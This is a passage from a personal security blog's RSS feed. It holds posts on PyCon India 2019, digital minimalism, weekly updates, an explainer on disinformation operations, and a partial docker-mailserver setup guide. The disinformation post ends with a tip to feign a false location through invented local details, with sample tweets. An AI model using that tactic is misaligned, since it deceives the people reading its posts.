pages/blog/feed.xml (view raw)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 1324 1325 1326 1327 1328 1329 1330 1331 1332 1333 1334 1335 1336 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346 1347 1348 1349 1350 1351 1352 1353 1354 1355 1356 1357 1358 1359 1360 1361 1362 1363 1364 1365 1366 |
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0"> <channel> <title>icyphox's blog</title> <link>https://icyphox.sh/blog/</link> <description>Security, forensics and privacy.</description> <atom:link href="https://icyphox.sh/blog/feed.xml" rel="self" type="application/xml"/> <image> <title>icyphox logo</title> <url>https://icyphox.sh/icyphox.png</url> <link>https://icyphox.sh/blog/</link> </image> <language>en-us</language> <copyright>Creative Commons BY-NC-SA 4.0</copyright> <item><title>PyCon India 2019 wrap-up</title><description><![CDATA[<p>I’m writing this article as I sit in class, back on the grind. Last weekend—Oct 12th and 13th—was PyCon India 2019, in Chennai, India. It was my first PyCon, <em>and</em> my first ever talk at a major conference! This is an account of the all the cool stuff I saw, people I met and the talks I enjoyed. Forgive the lack of pictures – I prefer living the moment through my eyes. </p> <h3 id="talks">Talks</h3> <p>So much ML! Not that it’s a bad thing, but definitely interesting to note. From what I counted, there were about 17 talks tagged under “Data Science, Machine Learning and AI”. I’d have liked to see more talks discussing security and privacy, but hey, the organizers can only pick from what’s submitted. ;)</p> <p>With that point out of the way, here’s some of the talks I really liked:</p> <ul> <li><strong>Python Packaging - where we are and where we’re headed</strong> by <a href="https://twitter.com/pradyunsg">Pradyun</a></li> <li><strong>Micropython: Building a Physical Inventory Search Engine</strong> by <a href="https://twitter.com/stonecharioteer">Vinay</a></li> <li><strong>Ragabot - Music Encoded</strong> by <a href="https://twitter.com/vikipedia">Vikrant</a></li> <li><strong>Let’s Hunt a Memory Leak</strong> by <a href="https://twitter.com/sankeyplus">Sanket</a></li> <li>oh and of course, <a href="https://twitter.com/dabeaz">David Beazley</a>’s closing keynote</li> </ul> <h3 id="my-talk">My talk (!!!)</h3> <p>My good buddy <a href="https://twitter.com/_vologue">Raghav</a> and I spoke about our smart lock security research. Agreed, it might have been less “hardware” and more of a bug on the server-side, but that’s the thing about IoT right? It’s so multi-faceted, and is an amalgamation of so many different hardware and software stacks. But, anyway…</p> <p>I was reassured by folks after the talk that the silence during Q/A was the “good” kind of silence. Was it really? I’ll never know.</p> <h3 id="some-nice-people-i-met">Some nice people I met</h3> <ul> <li><a href="https://twitter.com/abhirathb">Abhirath</a> – A 200 IQ lad. Talked to me about everything from computational biology to the physical implementation of quantum computers.</li> <li><a href="https://twitter.com/meain_">Abin</a> – He recognized me from my <a href="https://reddit.com/r/unixporn">r/unixporn</a> posts, which was pretty awesome.</li> <li><a href="https://twitter.com/h6165">Abhishek</a></li> <li>Pradyun and Vikrant (linked earlier)</li> </ul> <p>And a lot of other people doing really great stuff, whose names I’m forgetting.</p> <h3 id="pictures">Pictures!</h3> <p>It’s not much, and I can’t be bothered to format them like a collage or whatever, so I’ll just dump them here – as is.</p> <p><img src="/static/img/silly_badge.jpg" alt="nice badge" /> <img src="/static/img/abhishek_anmol.jpg" alt="awkward smile!" /> <img src="/static/img/me_talking.jpg" alt="me talking" /> <img src="/static/img/s443_pycon.jpg" alt="s443 @ pycon" /></p> <h3 id="cest-tout">C’est tout</h3> <p>Overall, a great time and a weekend well spent. It was very different from your typical security conference – a lot more <em>chill</em>, if you will. The organizers did a fantastic job and the entire event was put together really well. I don’t have much else to say, but I know for sure that I’ll be there next time.</p> <p>That was PyCon India, 2019.</p> ]]></description><link>https://icyphox.sh/blog/pycon-wrap-up</link><pubDate>Tue, 15 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/pycon-wrap-up</guid></item><item><title>Thoughts on digital minimalism</title><description><![CDATA[<p>Ah yes, yet another article on the internet on this beaten to death subject. But this is inherently different, since it’s <em>my</em> opinion on the matter, and <em>my</em> technique(s) to achieve “digital minimalism”.</p> <p>According to me, minimalism can be achieved on two primary fronts – the phone & the computer. Let’s start with the phone. The daily carry. The device that’s on our person from when we get out of bed, till we get back in bed.</p> <h3 id="the-phone">The phone</h3> <p>I’ve read about a lot of methods people employ to curb their phone usage. Some have tried grouping “distracting” apps into a separate folder, and this supposedly helps reduce their usage. Now, I fail to see how this would work, but YMMV. Another technique I see often is using a time governance app—like OnePlus’ Zen Mode—to enforce how much time you spend using specific apps, or the phone itself. I’ve tried this for myself, but I constantly found myself counting down the minutes after which the phone would become usable again. Not helpful.</p> <p>My solution to this is a lot more brutal. I straight up uninstalled the apps that I found myself using too often. There’s a simple principle behind it – if the app has a desktop alternative, like Twitter, Reddit, etc. use that instead. Here’s a list of apps that got nuked from my phone:</p> <ul> <li>Twitter</li> <li>Instagram (an exception, no desktop client)</li> <li>Relay for Reddit</li> <li>YouTube (disabled, ships with stock OOS)</li> </ul> <p>The only non-productive app that I’ve let remain is Clover, a 4chan client. I didn’t find myself using it as much earlier, but we’ll see how that holds up. I’ve also allowed my personal messaging apps to remain, since removing those would be inconveniencing others.</p> <p>I must admit, I often find myself reaching for my phone out of habit just to check Twitter, only to find that its gone. I also subconsciously tap the place where its icon used to exist (now replaced with my mail client) on my launcher. The only “fun” thing left on my phone to do is read or listen to music. Which is okay, in my opinion.</p> <h3 id="the-computer">The computer</h3> <p>I didn’t do anything too nutty here, and most of the minimalism is mostly aesthetic. I like UIs that get out of the way. </p> <p>My setup right now is just a simple bar at the top showing the time, date, current volume and battery %, along with my workspace indicators. No fancy colors, no flashy buttons and sliders. And that’s it. I don’t try to force myself to not use stuff – after all, I’ve reduced it elsewhere. :)</p> <p>Now the question arises: Is this just a phase, or will I stick to it? What’s going to stop me from heading over to the Play Store and installing those apps back? Well, I never said this was going to be easy. There’s definitely some will power needed to pull this off. I guess time will tell.</p> ]]></description><link>https://icyphox.sh/blog/digital-minimalism</link><pubDate>Sat, 05 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/digital-minimalism</guid></item><item><title>Weekly status update, 09/17–09/27</title><description><![CDATA[<p>It’s a lazy Friday afternoon here; yet another off day this week thanks to my uni’s fest. My last “weekly” update was 10 days ago, and a lot has happened since then. Let’s get right into it!</p> <h3 id="my-switch-to-alpine">My switch to Alpine</h3> <p>Previously, I ran Debian with Buster/Sid repos, and ever since this happened</p> <div class="codehilite"><pre><span></span><code>$ dpkg --list <span class="p">|</span> wc -l <span class="m">3817</span> <span class="c1"># or something in that ballpark</span> </code></pre></div> <p>I’ve been wanting to reduce my system’s package count.</p> <p>Thus, I began my search for a smaller, simpler and lighter distro with a fairly sane package manager. I did come across Dylan Araps’ <a href="https://getkiss.org">KISS Linux</a> project, but it seemed a little too hands-on for me (and still relatively new). I finally settled on <a href="https://alpinelinux.org">Alpine Linux</a>. According to their website:</p> <blockquote> <p>Alpine Linux is a security-oriented, lightweight Linux distribution based on musl libc and busybox.</p> </blockquote> <p>The installation was a breeze, and I was quite surprised to see WiFi working OOTB. In the past week of my using this distro, the only major hassle I faced was getting my Minecraft launcher to run. The JRE isn’t fully ported to <code>musl</code> yet.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup> The solution to that is fairly trivial and I plan to write about it soon. (hint: it involves chroots)</p> <p><img src="/static/img/rice-2019-09-27.png" alt="rice" /></p> <h3 id="packaging-for-alpine">Packaging for Alpine</h3> <p>On a related note, I’ve been busy packaging some of the stuff I use for Alpine – you can see my personal <a href="https://github.com/icyphox/aports">aports</a> repository if you’re interested. I’m currently working on packaging Nim too, so keep an eye out for that in the coming week.</p> <h3 id="talk-selection-at-pycon-india">Talk selection at PyCon India!</h3> <p>Yes! My buddy Raghav (<a href="https://twitter.com/_vologue">@_vologue</a>) and I are going to be speaking at PyCon India about our recent smart lock security research. The conference is happening in Chennai, much to our convenience. If you’re attending too, hit me up on Twitter and we can hang!</p> <h3 id="other">Other</h3> <p>That essentially sums up the <em>technical</em> stuff that I did. My Russian is going strong, my reading however, hasn’t. I have <em>yet</em> to finish those books! This week, for sure.</p> <p>Musically, I’ve been experimenting. I tried a bit of hip-hop and chilltrap, and I think I like it? I still find myself coming back to metalcore/deathcore. Here’s a list of artists I discovered (and liked) recently:</p> <ul> <li><a href="https://www.youtube.com/watch?v=r3uKGwcwGWA">Before I Turn</a></li> <li>生 Conform 死 (couldn’t find any official YouTube video, check Spotify)</li> <li><a href="https://www.youtube.com/watch?v=66eFK1ttdC4">Treehouse Burning</a></li> <li><a href="https://www.youtube.com/watch?v=m-w3XM2PwOY">Lee McKinney</a></li> <li><a href="https://www.youtube.com/watch?v=cUibXK7F3PM">Berried Alive</a> (rediscovered)</li> </ul> <p>That’s it for now, I’ll see you next week!</p> <div class="footnotes"> <hr /> <ol> <li id="fn-1"> <p>The <a href="https://aboullaite.me/protola-alpine-java/">Portola Project</a> <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p> </li> </ol> </div> ]]></description><link>https://icyphox.sh/blog/2019-09-27</link><pubDate>Fri, 27 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-27</guid></item><item><title>Weekly status update, 09/08–09/17</title><description><![CDATA[<p>This is something new I’m trying out, in an effort to write more frequently and to serve as a log of how I’m using my time. In theory, I will write this post every week. I’ll need someone to hold me accountable if I don’t. I have yet to decide on a format for this, but it will probably include a quick summary of the work I did, things I read, IRL stuff, etc.</p> <p>With the meta stuff out of the way, here’s what went down last week!</p> <h3 id="my-discovery-of-the-xxiivv-webring">My discovery of the XXIIVV webring</h3> <p>Did you notice the new fidget-spinner-like logo at the bottom? Click it! It’s a link to the <a href="https://webring.xxiivv.com">XXIIVV webring</a>. I really like the idea of webrings. It creates a small community of sites and enables sharing of traffic among these sites. The XXIIVV webring consists mostly of artists, designers and developers and gosh, some of those sites are beautiful. Mine pales in comparison.</p> <p>The webring also has a <a href="https://github.com/buckket/twtxt">twtxt</a> echo chamber aptly called <a href="https://webring.xxiivv.com/hallway.html">The Hallway</a>. twtxt is a fantastic project and its complexity-to-usefulness ratio greatly impresses me. You can find my personal twtxt feed at <code>/twtxt.txt</code> (root of this site).</p> <p>Which brings me to the next thing I did this/last week.</p> <h3 id="twsh-a-twtxt-client-written-in-bash"><code>twsh</code>: a twtxt client written in Bash</h3> <p>I’m not a fan of the official Python client, because you know, Python is bloat. As an advocate of <em>mnmlsm</em>, I can’t use it in good conscience. Thus, began my authorship of a truly mnml client in pure Bash. You can find it <a href="https://github.com/icyphox/twsh">here</a>. It’s not entirely useable as of yet, but it’s definitely getting there, with the help of <a href="https://nerdypepper.me">@nerdypepper</a>.</p> <h3 id="other">Other</h3> <p>I have been listening to my usual podcasts: Crime Junkie, True Crime Garage, Darknet Diaries & Off the Pill. To add to this list, I’ve begun binging Vice’s CYBER. It’s pretty good – each episode is only about 30 mins and it hits the sweet spot, delvering both interesting security content and news.</p> <p>My reading needs a ton of catching up. Hopefully I’ll get around to finishing up “The Unending Game” this week. And then go back to “Terrorism and Counterintelligence”.</p> <p>I’ve begun learning Russian! I’m really liking it so far, and it’s been surprisingly easy to pick up. Learning the Cyrillic script will require some relearning, especially with letters like в, н, р, с, etc. that look like English but sound entirely different. I think I’m pretty serious about learning this language – I’ve added the Russian keyboard to my Google Keyboard to aid in my familiarization of the alphabet. I’ve added the <code>RU</code> layout to my keyboard map too:</p> <pre><code>setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru </code></pre> <p>With that ends my weekly update, and I’ll see you next week!</p> ]]></description><link>https://icyphox.sh/blog/2019-09-17</link><pubDate>Tue, 17 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-17</guid></item><item><title>Disinformation demystified</title><description><![CDATA[<p>As with the disambiguation of any word, let’s start with its etymology and definiton. According to <a href="https://en.wikipedia.org/wiki/Disinformation">Wikipedia</a>, <em>disinformation</em> has been borrowed from the Russian word — <em>dezinformatisya</em> (дезинформа́ция), derived from the title of a KGB black propaganda department.</p> <blockquote> <p>Disinformation is false information spread deliberately to deceive.</p> </blockquote> <p>To fully understand disinformation, especially in the modern age, we need to understand the key factors of any successful disinformation operation:</p> <ul> <li>creating disinformation (what)</li> <li>the motivation behind the op, or its end goal (why)</li> <li>the medium used to disperse the falsified information (how)</li> <li>the actor (who)</li> </ul> <p>At the end, we’ll also look at how you can use disinformation techniques to maintain OPSEC.</p> <p>In order to break monotony, I will also be using the terms “information operation”, or the shortened forms – “info op” & “disinfo”.</p> <h3 id="creating-disinformation">Creating disinformation</h3> <p>Crafting or creating disinformation is by no means a trivial task. Often, the quality of any disinformation sample is a huge indicator of the level of sophistication of the actor involved, i.e. is it a 12 year old troll or a nation state?</p> <p>Well crafted disinformation always has one primary characteristic — “plausibility”. The disinfo must sound reasonable. It must induce the notion it’s <em>likely</em> true. To achieve this, the target — be it an individual, a specific demographic or an entire nation — must be well researched. A deep understanding of the target’s culture, history, geography and psychology is required. It also needs circumstantial and situational awareness, of the target.</p> <p>There are many forms of disinformation. A few common ones are staged videos / photographs, recontextualized videos / photographs, blog posts, news articles & most recently — deepfakes.</p> <p>Here’s a tweet from <a href="https://twitter.com/thegrugq">the grugq</a>, showing a case of recontextualized imagery:</p> <blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff"> <p lang="en" dir="ltr">Disinformation. <br><br> The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake. <br><br>Recontextualisation as threat vector. <a href="https://t.co/Pko3f0xkXC">pic.twitter.com/Pko3f0xkXC</a> </p>— thaddeus e. grugq (@thegrugq) <a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">June 23, 2019</a> </blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script> <h3 id="motivations-behind-an-information-operation">Motivations behind an information operation</h3> <p>I like to broadly categorize any info op as either proactive or reactive. Proactively, disinformation is spread with the desire to influence the target either before or during the occurence of an event. This is especially observed during elections.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup> In offensive information operations, the target’s psychological state can be affected by spreading <strong>fear, uncertainty & doubt</strong>, or FUD for short.</p> <p>Reactive disinformation is when the actor, usually a nation state in this case, screws up and wants to cover their tracks. A fitting example of this is the case of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over eastern Ukraine. This tragic incident has been attributed to Russian-backed separatists.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> Russian media is known to have desseminated a number of alternative & some even conspiratorial theories<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, in response. The number grew as the JIT’s (Dutch-lead Joint Investigation Team) investigations pointed towards the separatists. The idea was to <strong>muddle the information</strong> space with these theories, and as a result, potentially correct information takes a credibility hit.</p> <p>Another motive for an info op is to <strong>control the narrative</strong>. This is often seen in use in totalitarian regimes; when the government decides what the media portrays to the masses. The ongoing Hong Kong protests is a good example.<sup class="footnote-ref" id="fnref-4"><a href="#fn-4">4</a></sup> According to <a href="https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests">NPR</a>:</p> <blockquote> <p>Official state media pin the blame for protests on the “black hand” of foreign interference, namely from the United States, and what they have called criminal Hong Kong thugs. A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters, who are demanding an end to an extradition bill with China and the ability to elect their own leader. Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience, this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police. …</p> </blockquote> <h3 id="media-used-to-disperse-disinfo">Media used to disperse disinfo</h3> <p>As seen in the above example of totalitarian governments, national TV and newspaper agencies play a key role in influence ops en masse. It guarantees outreach due to the channel/paper’s popularity.</p> <p>Twitter is another, obvious example. Due to the ease of creating accounts and the ability to generate activity programmatically via the API, Twitter bots are the go-to choice today for info ops. Essentially, an actor attempts to create “discussions” amongst “users” (read: bots), to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to get realtime insights into what sticks and what doesn’t. The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll factory — the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency">Internet Research Agency</a> (IRA) to create discussions about alternative theories.</p> <p>In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties actively invest in creating group chats to spread political messages and memes. These parties have volunteers whose sole job is to sit and forward messages. Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases, this is disinformation without a motive, or the motive is hard to determine simply because the source is impossible to trace, lost in forwards.<sup class="footnote-ref" id="fnref-5"><a href="#fn-5">5</a></sup> This is a difficult problem to combat, especially given the nature of the target audience.</p> <h3 id="the-actors-behind-disinfo-campaigns">The actors behind disinfo campaigns</h3> <p>I doubt this requires further elaboration, but in short:</p> <ul> <li>nation states and their intelligence agencies</li> <li>governments, political parties</li> <li>other non/quasi-governmental groups</li> <li>trolls</li> </ul> <p>This essentially sums up the what, why, how and who of disinformation. </p> <h3 id="personal-opsec">Personal OPSEC</h3> <p>This is a fun one. Now, it’s common knowledge that <strong>STFU is the best policy</strong>. But sometimes, this might not be possible, because afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might lead to your OPSEC being compromised. So if you really have to, you can feign activity using disinformation. For example, pick a place, and throw in subtle details pertaining to the weather, local events or regional politics of that place into your disinfo. Assuming this is Twitter, you can tweet stuff like:</p> <ul> <li>“Ugh, when will this hot streak end?!”</li> <li>“Traffic wonky because of the Mardi Gras parade.”</li> <li>“Woah, XYZ place is nice! Especially the fountains by ABC street.”</li> </ul> <p>Of course, if you’re a nobody on Twitter (like me), this is a non-issue for you.</p> <p>And please, don’t do this:</p> <p><img src="/static/img/mcafeetweet.png" alt="mcafee opsecfail" /></p> <h3 id="conclusion">Conclusion</h3> <p>The ability to influence someone’s decisions/thought process in just one tweet is scary. There is no simple way to combat disinformation. Social media is hard to control. Just like anything else in cyber, this too is an endless battle between social media corps and motivated actors.</p> <p>A huge shoutout to Bellingcat for their extensive research in this field, and for helping folks see the truth in a post-truth world.</p> <div class="footnotes"> <hr /> <ol> <li id="fn-1"> <p><a href="https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked">This</a> episode of CYBER talks about election influence ops (features the grugq!). <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p> </li> <li id="fn-2"> <p>The <a href="https://www.bellingcat.com/category/resources/podcasts/">Bellingcat Podcast</a>’s season one covers the MH17 investigation in detail. <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p> </li> <li id="fn-3"> <p><a href="https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories">Wikipedia section on MH17 conspiracy theories</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p> </li> <li id="fn-4"> <p><a href="https://twitter.com/gdead/status/1171032265629032450">Chinese newspaper spreading disinfo</a> <a href="#fnref-4" class="footnoteBackLink" title="Jump back to footnote 4 in the text.">↩</a></p> </li> <li id="fn-5"> <p>Use an adblocker before clicking <a href="https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html">this</a>. <a href="#fnref-5" class="footnoteBackLink" title="Jump back to footnote 5 in the text.">↩</a></p> </li> </ol> </div> ]]></description><link>https://icyphox.sh/blog/disinfo</link><pubDate>Tue, 10 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/disinfo</guid></item><item><title>Setting up my personal mailserver</title><description><![CDATA[<p>A mailserver was a long time coming. I’d made an attempt at setting one up around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And I almost did this time too.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p> <p>For this attempt, I wanted a simpler approach. I recall how terribly confusing Dovecot & Postfix were to configure and hence I decided to look for a containerized solution, that most importantly, runs on my cheap $5 Digital Ocean VPS — 1 vCPU and 1 GB memory. Of which only around 500 MB is actually available. So yeah, <em>pretty</em> tight.</p> <h3 id="whats-available">What’s available</h3> <p>Turns out, there are quite a few of these OOTB, ready to deply solutions. These are the ones I came across:</p> <ul> <li><p><a href="https://poste.io">poste.io</a>: Based on an “open core” model. The base install is open source and free (as in beer), but you’ll have to pay for the extra stuff.</p></li> <li><p><a href="https://mailu.io">mailu.io</a>: Free software. Draws inspiration from poste.io, but ships with a web UI that I didn’t need. </p></li> <li><p><a href="https://mailcow.email">mailcow.email</a>: These fancy domains are getting ridiculous. But more importantly they need 2 GiB of RAM <em>plus</em> swap?! Nope.</p></li> <li><p><a href="https://mailinabox.email">Mail-in-a-Box</a>: Unlike the ones above, not a Docker-based solution but definitely worth a mention. It however, needs a fresh box to work with. A box with absolutely nothing else on it. I can’t afford to do that.</p></li> <li><p><a href="https://github.com/tomav/docker-mailserver/">docker-mailserver</a>: <strong>The winner</strong>. </p></li> </ul> <h3 id="so-docker-mailserver">So… <code>docker-mailserver</code></h3> <p>The first thing that caught my eye in the README:</p> <blockquote> <p>Recommended:</p> <ul> <li>1 CPU</li> <li>1GB RAM</li> </ul> <p>Minimum:</p> <ul> <li>1 CPU</li> <li>512MB RAM</li> </ul> </blockquote> <p>Fantastic, I can somehow squeeze this into my existing VPS. Setup was fairly simple & the docs are pretty good. It employs a single <code>.env</code> file for configuration, which is great. However, I did run into a couple of hiccups here and there.</p> <p>One especially nasty one was <code>docker</code> / <code>docker-compose</code> running out of memory.</p> <pre><code>Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory </code></pre> <p>But it eventually worked after a couple of attempts.</p> <p>The next thing I struggled with — DNS. Specifically, the with the step where the DKIM keys are generated<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>. The output under <br /> <code>config/opendkim/keys/domain.tld/mail.txt</code> <br /> isn’t exactly CloudFlare friendly; they can’t be directly copy-pasted into a <code>TXT</code> record. </p> <p>This is what it looks like.</p> <pre><code>mail._domainkey IN TXT ( "v=DKIM1; h=sha256; k=rsa; " "p=<key>" "<more key>" ) ; ----- DKIM key mail for icyphox.sh </code></pre> <p>But while configuring the record, you set “Type” to <code>TXT</code>, “Name” to <code>mail._domainkey</code>, and the “Value” to what’s inside the parenthesis <code>( )</code>, <em>removing</em> the quotes <code>""</code>. Also remove the part that appears to be a comment <code>; ----- ...</code>.</p> <p>To simplify debugging DNS issues later, it’s probably a good idea to point to your mailserver using a subdomain like <code>mail.domain.tld</code> using an <code>A</code> record. You’ll then have to set an <code>MX</code> record with the “Name” as <code>@</code> (or whatever your DNS provider uses to denote the root domain) and the “Value” to <code>mail.domain.tld</code>. And finally, the <code>PTR</code> (pointer record, I think), which is the reverse of your <code>A</code> record — “Name” as the server IP and “Value” as <code>mail.domain.tld</code>. I learnt this part the hard way, when my outgoing email kept getting rejected by Tutanota’s servers.</p> <p>Yet another hurdle — SSL/TLS certificates. This isn’t very properly documented, unless you read through the <a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples">wiki</a> and look at an example. In short, install <code>certbot</code>, have port 80 free, and run </p> <div class="codehilite"><pre><span></span><code>$ certbot certonly --standalone -d mail.domain.tld </code></pre></div> <p>Once that’s done, edit the <code>docker-compose.yml</code> file to mount <code>/etc/letsencrypt</code> in the container, something like so:</p> <div class="codehilite"><pre><span></span><code><span class="nn">...</span> <span class="nt">volumes</span><span class="p">:</span> <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">maildata:/var/mail</span> <span class="p p-Indicator">-</span> <span class="l l-Scalar 